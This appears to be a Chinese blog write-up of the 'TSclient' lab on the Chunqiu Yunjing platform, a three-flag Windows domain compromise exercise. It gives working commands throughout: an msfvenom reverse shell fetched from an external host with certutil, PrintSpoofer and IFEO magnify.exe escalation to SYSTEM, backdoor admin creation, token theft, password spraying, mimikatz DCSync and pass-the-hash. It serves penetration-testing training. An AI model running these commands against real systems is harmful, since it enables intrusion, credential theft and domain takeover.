文章

春秋云镜-TSclient

春秋云镜-TSclient

Tsclient是一种在VPS上挂载本地磁盘的方法,在连接界面选择挂载,再次连接

flag1

fscan扫到了ISS的弱密码

1
fscan -h 39.99.159.74 - ALL

1774517128909

1
"C:\Program Files\Java\jdk1.8.0_65\bin\java.exe" -jar  MDUT.jar

这里用MDUT成功拿shell(提权也可以试试用SweetPotato.exe)

1774517481859

可以命令执行

1774517488798

接下来把vshell下的马子传上来,执行命令

1
powershell -w hidden -c "Start-Process 'C:\迅雷下载\tcp_windows_amd64.exe'"

上线成功

1774522265467

没找到flag,发现Administrator文件夹没有权限,需要提权

1774546340425

服务账户有 SeImpersonatePrivilege(模拟令牌权限),PrintSpoofer 利用这个权限:

1
2
3
4
5
NT Service\MSSQLSERVER
    └─ 有 SeImpersonatePrivilege
        └─ PrintSpoofer 强制 Spooler 服务(SYSTEM)连接我们的管道
            └─ 模拟 SYSTEM 令牌
                └─ 以 SYSTEM 身份执行 cmd

传一个PrintSpoofer进行提权

1774522304378

1
PrintSpoofer64.exe -i -c cmd

提权成功

1774521981244

读取flag,得到第一个flag

1774522221639

flag2

查看当前ip,接下来用fscan扫一下内网

1774522943657

1
fscan -h 172.22.8.0/24

1774522965226

扫出三台机子

1
2
3
NetBios 172.22.8.46  WIN2016.xiaorang.lab 
NetBios 172.22.8.31  XIAORANG\WIN19-CLIENT
NetBios 172.22.8.15  DC:XIAORANG\DC01

没有什么能直接利用的服务

那我们接着信息收集一下 #查看当前机器用户

1
net user

1774523243409 #查看在线用户

1
quser

1774523262839

发现一个john用户远程连接本台机子

为了方便可以新建一个用户rdp连上去

1
2
3
4
5
net user hunsil Abc12345678 /add

net localgroup administrators hunsil /add

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

1774524641512

远程桌面连接

1774524747294

管理员权限可以偷RDP用户的token,从而查看其挂载的盘

1
2
3
4
5
6
7
8
9
10
11
12
Token 分两种:
- **Primary Token**:进程的主令牌
- **Impersonation Token**:用于模拟,分四个级别(Anonymous / Identification / Impersonation / **Delegation**)
只有 **Delegation** 级别的令牌才能被远程使用,也是 incognito 最感兴趣的。
## MSF incognito 操作
​```
meterpreter > use incognito
meterpreter > list_tokens -u        # 列出可用 token
meterpreter > impersonate_token "WIN-WEB\\John"   # 模拟 John 的身份
meterpreter > shell                 # 弹出以 John 身份运行的 shell
​```
为什么能拿到 John 的 token?因为前面已经是 SYSTEM,SYSTEM 拥有 `SeDebugPrivilege`,可以访问系统内所有进程的内存和令牌。

1774547002441

1774524907982

1
2
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=8.148.230.29 LPORT=6666 -f exe -o msf.exe   //生成反弹shell
python3 -m http.server 23333

1774525090281

1
2
certutil -urlcache -split -f http://8.148.230.29:23333/msf.exe C:\Windows\Temp\msf.exe
C:\Windows\Temp\msf.exe

1774527883627

1
msfconsole -q -x "use multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST 0.0.0.0; set LPORT 9999; exploit"

1774527893694

1
2
3
4
5
6
第四步:上线后偷 token
​```
meterpreter > use incognito
meterpreter > list_tokens -u
meterpreter > impersonate_token "WIN-WEB\\John"
meterpreter > shell

1774528022313

1
net use

1774548488069

看一下挂载情况,挂载了c盘

查看c盘中的credential.txt文件

1774548087191

这里有一串账号密码,可以用这串账号密码进行一个密码喷洒

1
crackmapexec -q smb 172.22.8.0/24 -u Aldrich -p Ald@rLMWuy7Z!#

这里用kali,先用frp内网渗透

vps执行

1
./frps -c frps.toml

1774531984927

靶机上传frpc.exe和frpc.toml,执行

1
C:\hunsil\frpc.exe -c C:\hunsil\frpc.toml

1774531997420

socks5代理成功,然后密码喷洒

1774532350481

可以看到这三台机貌似都能登上去

先登一下31的,用rdesktop登录,rdp好像不行

1
proxychains4 rdesktop 172.22.8.31 -u Aldrich -d xiaorang.lab -p 'Ald@rLMWuy7Z!#'

1774532404216

提示密码过期,改个密码就行了

但是改完密码这台机还是登不上,没有登陆权限

所以我们尝试用这个修改后的账号密码再去登这个账号的另一台机子

成功在46中登入

后面可以用rdp,没这么卡

执行systeminfo

可以看到我们已经拿下域内的一台机子了

1774533282432

接着我们用bloodhound来进行一下域内信息收集

1
SharpHound.exe -c all

1774548824480

将数据采集完生成的zip文件,上传导入到BloodHound分析

1774548841391

从图中,我们会发现46这台机子的用户是域管,那我们接下来就要想办法在这台机子上提权,然后拿下域控

前面提示:

1
Do you know how to hijack Image?

接下来要进行镜像劫持(IFEO)提权

1
IFEO(Image File Execution Options)是 Windows 注册表中的一个键,原本用于调试程序——你可以指定某个程序启动时自动挂载一个调试器。攻击者可以滥用这个机制,让目标程序启动时实际执行任意命令。

注册表路径:

1
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<目标程序.exe>

用get-acl查看IFEO权限,fl命令是为了把一行显示为多行

1
Get-ACL -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" | fl

获取指定注册表路径的访问控制列表(ACL)。

1774534427387

1
NT AUTHORITY\Authenticated Users

其中Authenticated Users指的是所有非来宾用户,也包括John,拥有对这个目录的所有权限。

我们可以发现全部已登录用户都可以对注册表进行修改

那我们就可以通过修改注册表进行映像劫持

1774550161161

我们这里通过将放大镜启动的magnify.exe替换成C:\windows\system32\cmd.exe,来进行提权

添加 Debugger 值后,每次系统尝试启动 <目标程序.exe>,Windows 实际上会去执行 Debugger 里指定的程序。

1
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"

1774534549631

为什么选 magnify.exe?

Windows 登录屏幕(Winlogon)的辅助功能按钮(放大镜、屏幕键盘、讲述人)在点击时以 SYSTEM 身份运行,因为 Winlogon 进程本身就是 SYSTEM。

常见可劫持的登录界面程序:

程序快捷方式
magnify.exe放大镜
osk.exe屏幕键盘
narrator.exe讲述人
utilman.exe辅助功能菜单(Win+U)
sethc.exe粘滞键(Shift×5)

修改后选择锁定,右下角打开放大镜,得到一个system权限的cmd

1774534777580

读取flag2

1
type c:\Users\Administrator\flag\flag02.txt

1774534982838

flag3

接着我们可以rdp可以连上去

1774536011315

需要Proxifier代理socks5

上传mimikatz.exe

接下来就是常规的将域内用户的哈希dump下来

1774536654395

1
DCSync 是 mimikatz 中的一个功能,利用域控的 MS-DRSR 复制协议——域控之间同步数据时使用这个协议。如果你拥有足够的权限(域管或者有 Replicating Directory Changes 权限),可以伪装成另一台域控向真实域控请求同步所有用户的哈希值,而不需要在域控上直接执行代码。
1
mimikatz.exe "lsadump::dcsync /domain:xiaorang.lab /all /csv" exit > mimikatz.txt

1774536777848

结果:

1774540495660

之后就可以进行横向移动了

1
proxychains4 impacket-smbexec -hashes :2c9d81bdcf3ec8b1def10328a7cc2f08 xiaorang.lab/administrator@172.22.8.15 -codec gbk
1
type c:\users\administrator\flag\flag03.txt

1774540529770

参考文章: https://blog.xrntkk.top/post/%E6%98%A5%E7%A7%8B%E4%BA%91%E5%A2%83-tsclient-writeup/

本文由作者按照 CC BY 4.0 进行授权